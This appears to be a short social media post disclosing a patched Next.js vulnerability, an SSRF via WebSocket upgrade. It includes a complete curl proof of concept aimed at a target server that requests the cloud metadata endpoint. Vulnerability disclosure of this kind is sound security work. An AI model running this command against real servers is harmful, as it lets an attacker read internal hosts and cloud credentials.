Last week's Next.js stable release patches multiple vulnerabilities found by
@HacktronAI
CVE-2026-44578: SSRF via WebSocket upgrade.
It is the most impactful of all, it lets an attacker read internal hosts such as cloud metadata endpoints on self-hosted next.js applications.
curl -H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
"http://target:3000" \
--request-target "http://169.254.169.254/latest/meta-data/"